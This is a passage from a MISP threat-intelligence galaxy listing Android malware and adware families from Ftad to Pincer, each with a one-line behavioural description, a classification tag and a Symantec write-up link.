https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99

Ftad

Ftad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Ftad"*

Table 209. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99

Funtasy

Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services.

The tag is: *misp-galaxy:android="Funtasy"*

Table 210. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99

GallMe

GallMe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="GallMe"*

Table 211. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99

Gamex

Gamex is a Trojan horse for Android devices that downloads further threats.

The tag is: *misp-galaxy:android="Gamex"*

Table 212. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99

Gappusin

Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates.

The tag is: *misp-galaxy:android="Gappusin"*

Table 213. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99

Gazon

Gazon is a worm for Android devices that spreads through SMS messages.

The tag is: *misp-galaxy:android="Gazon"*

Table 214. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99

Geinimi

Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: *misp-galaxy:android="Geinimi"*

Table 215. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99

Generisk

Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user's Android device.

The tag is: *misp-galaxy:android="Generisk"*

Table 216. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99

Genheur

Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics.

The tag is: *misp-galaxy:android="Genheur"*

Table 217. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99

Genpush

Genpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Genpush"*

Table 218. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99

GeoFake

GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers.

The tag is: *misp-galaxy:android="GeoFake"*

Table 219. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99

Geplook

Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device.

The tag is: *misp-galaxy:android="Geplook"*

Table 220. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99

Getadpush

Getadpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Getadpush"*

Table 221. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99

Ggtracker

Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device.

The tag is: *misp-galaxy:android="Ggtracker"*

Table 222. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99

Ghostpush

Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Ghostpush"*

Table 223. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99

Gmaster

Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Gmaster"*

Table 224. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99

Godwon

Godwon is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Godwon"*

Table 225. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99

Golddream

Golddream is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Golddream"*

Table 226. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99

Goldeneagle

Goldeneagle is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Goldeneagle"*

Table 227. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99

Golocker

Golocker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Golocker"*

Table 228. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99

Gomal

Gomal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Gomal"*

Table 229. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99

Gonesixty

Gonesixty is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonesixty"*

Table 230. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99

Gonfu

Gonfu is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonfu"*

Table 231. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99

Gonfu.B

Gonfu.B is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Gonfu.B"*

Table 232. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99

Gonfu.C

Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device.

The tag is: *misp-galaxy:android="Gonfu.C"*

Table 233. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99

Gonfu.D

Gonfu.D is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Gonfu.D"*

Table 234. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99

Gooboot

Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers.

The tag is: *misp-galaxy:android="Gooboot"*

Table 235. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99

Goodadpush

Goodadpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Goodadpush"*

Table 236. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99

Greystripe

Greystripe is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Greystripe"*

Table 237. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99

Gugespy

Gugespy is a spyware program for Android devices that logs the device's activity and sends it to a predetermined email address.

The tag is: *misp-galaxy:android="Gugespy"*

Table 238. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99

Gugespy.B

Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Gugespy.B"*

Table 239. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99

Gupno

Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device.

The tag is: *misp-galaxy:android="Gupno"*

Table 240. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99

Habey

Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Habey"*

Table 241. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99

Handyclient

Handyclient is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Handyclient"*

Table 242. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99

Hehe

Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device.

The tag is: *misp-galaxy:android="Hehe"*

Table 243. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99

Hesperbot

Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: *misp-galaxy:android="Hesperbot"*

Table 244. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99

Hippo

Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Hippo"*

Table 245. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99

Hippo.B

Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Hippo.B"*

Table 246. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99

IadPush

IadPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="IadPush"*

Table 247. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99

iBanking

iBanking is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information.

The tag is: *misp-galaxy:android="iBanking"*

Table 248. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99

Iconosis

Iconosis is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Iconosis"*

Table 249. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99

Iconosys

Iconosys is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Iconosys"*

Table 250. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99

Igexin

Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,

The tag is: *misp-galaxy:android="Igexin"*

Igexin is also known as:

- IcicleGum

View relationships graph

Igexin has relationships with:

- similar: misp-galaxy:android="IcicleGum" with estimative-language:likelihood-probability="likely"

Table 251. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032606-5519-99
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf
https://blog.lookout.com/igexin-malicious-sdk

ImAdPush

ImAdPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ImAdPush"*

Table 252. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99

InMobi

InMobi is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="InMobi"*

Table 253. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99

Jifake

Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Jifake"*

Table 254. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99

Jollyserv

Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device.

The tag is: *misp-galaxy:android="Jollyserv"*

Table 255. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99

Jsmshider

Jsmshider is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Jsmshider"*

Table 256. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99

Ju6

Ju6 is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Ju6"*

Table 257. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99

Jumptap

Jumptap is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Jumptap"*

Table 258. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99

Jzmob

Jzmob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Jzmob"*

Table 259. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99

Kabstamper

Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device.

The tag is: *misp-galaxy:android="Kabstamper"*

Table 260. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99

Kidlogger

Kidlogger is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Kidlogger"*

Table 261. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99

Kielog

Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker.

The tag is: *misp-galaxy:android="Kielog"*

Table 262. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99

Kituri

Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Kituri"*

Table 263. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99

Kranxpay

Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device.

The tag is: *misp-galaxy:android="Kranxpay"*

Table 264. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99

Krysanec

Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Krysanec"*

Table 265. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99

Kuaidian360

Kuaidian360 is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Kuaidian360"*

Table 266. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99

Kuguo

Kuguo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Kuguo"*

Table 267. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-5215-99

Lastacloud

Lastacloud is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Lastacloud"*

Table 268. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121216-4334-99

Laucassspy

Laucassspy is a spyware program for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Laucassspy"*

Table 269. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092409-1822-99

Lifemonspy

Lifemonspy is a spyware application for Android devices that can track the phone’s location, download SMS messages, and erase certain data from the device.

The tag is: *misp-galaxy:android="Lifemonspy"*

Table 270. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-5540-99

Lightdd

Lightdd is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Lightdd"*

Table 271. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-053114-2342-99

Loaderpush

Loaderpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Loaderpush"*

Table 272. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0244-99

Locaspy

Locaspy is a Potentially Unwanted Application for Android devices that tracks the location of the compromised device.

The tag is: *misp-galaxy:android="Locaspy"*

Table 273. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030720-3500-99

Lockdroid.E

Lockdroid.E is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.E"*

Table 274. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-103005-2209-99

Lockdroid.F

Lockdroid.F is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.F"*

Table 275. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-102215-4346-99

Lockdroid.G

Lockdroid.G is a Trojan horse for Android devices that may display a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.G"*

Table 276. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-050610-2450-99

Lockdroid.H

Lockdroid.H is a Trojan horse for Android devices that locks the screen and displays a ransom demand on the compromised device.

The tag is: *misp-galaxy:android="Lockdroid.H"*

Table 277. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-031621-1349-99

Lockscreen

Lockscreen is a Trojan horse for Android devices that locks the compromised device from use.

The tag is: *misp-galaxy:android="Lockscreen"*

Table 278. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032409-0743-99

LogiaAd

LogiaAd is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="LogiaAd"*

Table 279. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0348-99

Loicdos

Loicdos is an Android application that provides an interface to a website in order to perform a denial of service (DoS) attack against a computer.

The tag is: *misp-galaxy:android="Loicdos"*

Table 280. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022002-2431-99

Loozfon

Loozfon is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Loozfon"*

Table 281. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082005-5451-99

Lotoor

Lotoor is a generic detection for hack tools that exploit vulnerabilities in order to gain root privileges on compromised Android devices.

The tag is: *misp-galaxy:android="Lotoor"*

Table 282. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091922-4449-99

Lovespy

Lovespy is a Trojan horse for Android devices that steals information from the device.

The tag is: *misp-galaxy:android="Lovespy"*

Table 283. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071814-3805-99

Lovetrap

Lovetrap is a Trojan horse that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Lovetrap"*

Table 284. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072806-2905-99

Luckycat

Luckycat is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="Luckycat"*

Table 285. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080617-5343-99

Machinleak

Machinleak is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Machinleak"*

Table 286. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120311-2440-99

Maistealer

Maistealer is a Trojan that steals information from Android devices.

The tag is: *misp-galaxy:android="Maistealer"*

Table 287. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072411-4350-99

Malapp

Malapp is a generic detection for many individual but varied threats on Android devices that share similar characteristics.

The tag is: *misp-galaxy:android="Malapp"*

Table 288. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-073014-3354-99

Malebook

Malebook is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Malebook"*

Table 289. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071206-3403-99

Malhome

Malhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Malhome"*

Table 290. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071118-0441-99

Malminer

Malminer is a Trojan horse for Android devices that mines cryptocurrencies on the compromised device.

The tag is: *misp-galaxy:android="Malminer"*

Table 291. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032712-3709-99

Mania

Mania is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Mania"*

Table 292. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070623-1520-99

Maxit

Maxit is a Trojan horse for Android devices that opens a back door on the compromised device. It also steals certain information and uploads it to a remote location.

The tag is: *misp-galaxy:android="Maxit"*

Table 293. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120411-2511-99

MdotM

MdotM is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MdotM"*

Table 294. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5824-99

Medialets

Medialets is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Medialets"*

Table 295. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-5222-99

Meshidden

Meshidden is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Meshidden"*

Table 296. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031913-5257-99

Mesploit

Mesploit is a tool for Android devices used to create applications that exploit the Android Fake ID vulnerability.

The tag is: *misp-galaxy:android="Mesploit"*

Table 297. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-032014-2847-99

Mesprank

Mesprank is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Mesprank"*

Table 298. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030717-1933-99

Meswatcherbox

Meswatcherbox is a spyware application for Android devices that forwards SMS messages without the user knowing.

The tag is: *misp-galaxy:android="Meswatcherbox"*

Table 299. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-2736-99

Miji

Miji is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Miji"*

Table 300. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-4720-99

Milipnot

Milipnot is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Milipnot"*

Table 301. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-070414-0941-99

MillennialMedia

MillennialMedia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MillennialMedia"*

Table 302. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4602-99

Mitcad

Mitcad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mitcad"*

Table 303. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040212-0528-99

MobClix

MobClix is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobClix"*

Table 304. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-4011-99

MobFox

MobFox is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobFox"*

Table 305. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-3050-99

Mobidisplay

Mobidisplay is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mobidisplay"*

Table 306. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-0435-99

Mobigapp

Mobigapp is a Trojan horse for Android devices that downloads applications disguised as system updates.

The tag is: *misp-galaxy:android="Mobigapp"*

Table 307. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062520-5802-99

MobileBackup

MobileBackup is a spyware application for Android devices that monitors the affected device.

The tag is: *misp-galaxy:android="MobileBackup"*

Table 308. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-0040-99

Mobilespy

Mobilespy is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Mobilespy"*

Table 309. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071512-0653-99

Mobiletx

Mobiletx is a Trojan horse for Android devices that steals information from the compromised device. It may also send SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Mobiletx"*

Table 310. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-052807-4439-99

Mobinaspy

Mobinaspy is a spyware application for Android devices that can track the device's location.

The tag is: *misp-galaxy:android="Mobinaspy"*

Table 311. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111516-0511-99

Mobus

Mobus is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mobus"*

Table 312. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2006-99

MobWin

MobWin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MobWin"*

Table 313. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1522-99

Mocore

Mocore is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Mocore"*

Table 314. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-092112-4603-99

Moghava

Moghava is a Trojan horse for Android devices that modifies images that are stored on the device.

The tag is: *misp-galaxy:android="Moghava"*

Table 315. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022712-2822-99

Momark

Momark is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Momark"*

Table 316. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-5529-99

Monitorello

Monitorello is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Monitorello"*

Table 317. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-4737-99

Moolah

Moolah is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Moolah"*

Table 318. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-1007-99

MoPub

MoPub is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="MoPub"*

Table 319. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-2456-99

Morepaks

Morepaks is a Trojan horse for Android devices that downloads remote files and may display advertisements on the compromised device.

The tag is: *misp-galaxy:android="Morepaks"*

Table 320. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071204-1130-99

Nandrobox

Nandrobox is a Trojan horse for Android devices that steals information from the compromised device. It also deletes certain SMS messages from the device.

The tag is: *misp-galaxy:android="Nandrobox"*

Table 321. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070212-2132-99

Netisend

Netisend is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Netisend"*

Table 322. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-080207-1139-99

Nickispy

Nickispy is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Nickispy"*

Table 323. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-072714-3613-99

Notcompatible

Notcompatible is a Trojan horse for Android devices that acts as a proxy.

The tag is: *misp-galaxy:android="Notcompatible"*

Table 324. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050307-2712-99

Nuhaz

Nuhaz is a Trojan horse for Android devices that may intercept text messages on the compromised device.

The tag is: *misp-galaxy:android="Nuhaz"*

Table 325. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-3416-99

Nyearleaker

Nyearleaker is a Trojan horse program for Android devices that steals information.

The tag is: *misp-galaxy:android="Nyearleaker"*

Table 326. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-010514-0844-99

Obad

Obad is a Trojan horse for Android devices that opens a back door, steals information, and downloads files. It also sends SMS messages to premium-rate numbers and spreads malware to Bluetooth-enabled devices.

The tag is: *misp-galaxy:android="Obad"*

Table 327. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060411-4146-99

Oneclickfraud

Oneclickfraud is a Trojan horse for Android devices that attempts to coerce a user into paying for a pornographic service.

The tag is: *misp-galaxy:android="Oneclickfraud"*

Table 328. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011205-4412-99

Opfake

Opfake is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers.

The tag is: *misp-galaxy:android="Opfake"*

Table 329. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-2732-99

Opfake.B

Opfake.B is a Trojan horse for the Android platform that may receive commands from a remote attacker to perform various functions.

The tag is: *misp-galaxy:android="Opfake.B"*

Table 330. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022406-1309-99

Ozotshielder

Ozotshielder is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Ozotshielder"*

Table 331. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-091505-3230-99

Pafloat

Pafloat is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Pafloat"*

Table 332. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-2015-99

PandaAds

PandaAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="PandaAds"*

Table 333. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1959-99

Pandbot

Pandbot is a Trojan horse for Android devices that may download more files onto the device.

The tag is: *misp-galaxy:android="Pandbot"*

Table 334. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-071215-1454-99

Pdaspy

Pdaspy is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: *misp-galaxy:android="Pdaspy"*

Table 335. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111612-0749-99

Penetho

Penetho is a hacktool for Android devices that can be used to crack the WiFi password of the router that the device is using.

The tag is: *misp-galaxy:android="Penetho"*

Table 336. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100110-3614-99

Perkel

Perkel is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Perkel"*

Table 337. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-082811-4213-99

Phimdropper

Phimdropper is a Trojan horse for Android devices that sends and intercepts incoming SMS messages.

The tag is: *misp-galaxy:android="Phimdropper"*

Table 338. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021002-2943-99

Phospy

Phospy is a Trojan horse for Android devices that steals confidential information from the compromised device.

The tag is: *misp-galaxy:android="Phospy"*

Table 339. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060706-4803-99

Piddialer

Piddialer is a Trojan horse for Android devices that dials premium-rate numbers from the compromised device.

The tag is: *misp-galaxy:android="Piddialer"*

Table 340. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-111020-2247-99

Pikspam

Pikspam is a Trojan horse for Android devices that sends spam SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Pikspam"*

Table 341. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-121815-0336-99

Pincer

